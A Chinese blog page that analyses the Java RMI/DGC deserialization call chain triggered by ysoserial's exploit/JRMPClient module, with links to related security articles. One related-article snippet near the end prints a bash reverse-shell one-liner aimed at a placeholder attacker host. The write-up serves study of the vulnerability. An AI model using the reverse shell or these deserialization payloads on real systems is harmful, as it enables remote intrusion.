ysoserial exploit/JRMPClient
ysoserial exploit/JRMPClient
上一篇文章讲到,当服务器反序列化payloads/JRMPListener,即会开启端口监听。再使用exploit/JRMPClient模块发送payload,服务器就会把payload进行反序列化,从而完成进行攻击。
调用链分析
设置payloads/JRMPListener参数,端口号为1299,debug模式启动payloads/JRMPListener模块。

设置exploit/JRMPClient模块设置参数为127.0.0.1 1299 CommonsCollections7 "calc"

启动exploit/JRMPClient模块后,服务端的接收到请求,会用TCPTransport的handleMessages来处理请求

往下看,第277行,把连接对象传入了StreamRemoteCall对象中。

第278行把StreamRemoteCall对象传入了serviceCall方法中

跟进this.serviceCall方法

前面获取了ObjID对象,生成Target对象等操作,直接看到101行

此时的var6是UnicastServerRef,把Target对象(此时的Target对象是DGCImpl类型)和远程连接对象传入了dispatch方法

跟进UnicastServerRef的dispatch

继续跟进this.oldDispatch

此时的this.skel是DGCImpl_Skel类型
跟进DGCImpl_Skel的dispatch

对var3的值做了一个switch判断,而在case0或者1中都会进行反序列化,从而触发漏洞调用链

解读exploit
main方法中拿到传入的参数,构造出payload,并且传入了makeDGCCall方法中

makeDGCCall方法中,objOut.writeInt写入的值就是前面的var3的值,0或1都行

最后进行了writeObject序列化,flush发送数据到服务端
其实这个payload是在构造DGC请求,然后让服务端的DGCImpl_Skel处理请求,导致的反序列化
详细可以看看这个师傅写的文章:
https://www.anquanke.com/post/id/225137#h3-3
此篇参考:
https://blog.csdn.net/whatday/article/details/106971531
ysoserial exploit/JRMPClient的更多相关文章
- ysoserial payloads/JRMPClient
ysoserial payloads/JRMPClient 环境:JDK8u102 payloads/JRMPClient可以配合exploit/JRMPListener模块来使用 1.在自己服务器上 ...
- 通过WebGoat学习java反序列化漏洞
首发于freebuff. WebGoat-Insecure Deserialization Insecure Deserialization 01 概念 本课程描述了什么是序列化,以及如何操纵它来执行 ...
- ysoserial源码结构分析
1.前言 之前也花了几天晚上熟悉了一下commonscollections系列的构造,那么学习一下这个项目是如何设计的也挺重要,多学习大佬如何写代码应该也能对自己的代码能力有提升吧~2333 2.项目 ...
- Apache Shiro Java反序列化漏洞分析
1. 前言 最近工作上刚好碰到了这个漏洞,当时的漏洞环境是: shiro-core 1.2.4 commons-beanutils 1.9.1 最终利用ysoserial的CommonsBeanuti ...
- Weblogic CVE-2018-3191远程代码命令执行漏洞复现
0x00 简介 北京时间10月17日,Oracle官方发布的10月关键补充更新CPU(重要补丁更新)中修复了一个高危的WebLogic远程代码执行漏洞(CVE-2018-3191).该漏洞允许未经 ...
- 25. Apache Shiro Java反序列化漏洞
前言: 最近在审核漏洞的时候,发现尽管Apache shiro这个反序列化漏洞爆出来好久了,但是由于漏洞特征不明显,并且shiro这个组件之前很少听说,导致大厂很多服务还存在shiro反序列化的漏洞, ...
- 【实战】Apache shiro<=1.2.4 getshell
方法一 利用JRMPClient 反弹shell方式 Bash: bash -i >& /dev/tcp/attackIP/7777 0>&1 /bin/bash -i & ...
- [WEB安全]Weblogic漏洞总结
0x01 Weblogic简介 1.1 叙述 Weblogic是美国Oracle公司出品的一个应用服务器(application server),确切的说是一个基于Java EE架构的中间件,是用于开 ...
- Shiro RememberMe 1.2.4远程代码执行漏洞-详细分析
本文首发于先知: https://xz.aliyun.com/t/6493 0x01.漏洞复现 环境配置 https://github.com/Medicean/VulApps/tree/master ...
随机推荐
- 分享我的CleanArchitecture for Razor Page项目模板
这个项目是参考和整合了jasontaylordev/CleanArchitecture 和 blazorhero/CleanArchitecture 代码基础上,重构出来的新的项目,这两个项目都是非常 ...
- MapReduce框架原理-InputFormat数据输入
InputFormat简介 InputFormat:管控MR程序文件输入到Mapper阶段,主要做两项操作:怎么去切片?怎么将切片数据转换成键值对数据. InputFormat是一个抽象类,没有实现怎 ...
- Reuse Sonar Checkstyle Violation Report for Custom Data Analysis
Write a violation rules file; Import it into Sonar as a Quality Profile named as "MyRules" ...
- 基于ScheduledExecutorService的并发定时任务处理能力测试
测试代码 定时器类 package business.util; import java.util.concurrent.Executors; import java.util.concurrent. ...
- PTA 朋友圈 (25 分) 代码详解 (并查集)
1.题目要求: 某学校有N个学生,形成M个俱乐部.每个俱乐部里的学生有着一定相似的兴趣爱好,形成一个朋友圈.一个学生可以同时属于若干个不同的俱乐部.根据"我的朋友的朋友也是我的朋友" ...
- 结合scipy.linalg在Python中使用线性系统
摘要:将线性代数概念应用到实际问题中scipy.linalg 使用 Python 和 NumPy处理向量和矩阵 使用线性系统模拟实际问题 使用求解线性系统 scipy.linalg 本文分享自华为云社 ...
- 云原生的弹性 AI 训练系列之二:PyTorch 1.9.0 弹性分布式训练的设计与实现
背景 机器学习工作负载与传统的工作负载相比,一个比较显著的特点是对 GPU 的需求旺盛.在之前的文章中介绍过(https://mp.weixin.qq.com/s/Nasm-cXLtJObjLwLQH ...
- noip17
复杂度分析全部摘自题解 T1 sb优化暴力 暴力20-40pts,我只拿了20pts. 正解: bitset 优化暴力,但是会MLE. 再次考虑如何优化,我们统计一下每个点的入度,每次遍历到这个点的时 ...
- MySQL 数据库、数据表、数据的基本操作
1.数据库(database)管理 1.1 create 创建数据库 create database firstDB; 1.2 show 查看所有数据库 mysql> show database ...
- springboot 和spring cloud 博客分享
spring boot 知识点总结 天狼星 https://www.cnblogs.com/wjqhuaxia/p/9820902.html spring cloud 知识点总结 姿势帝 https: ...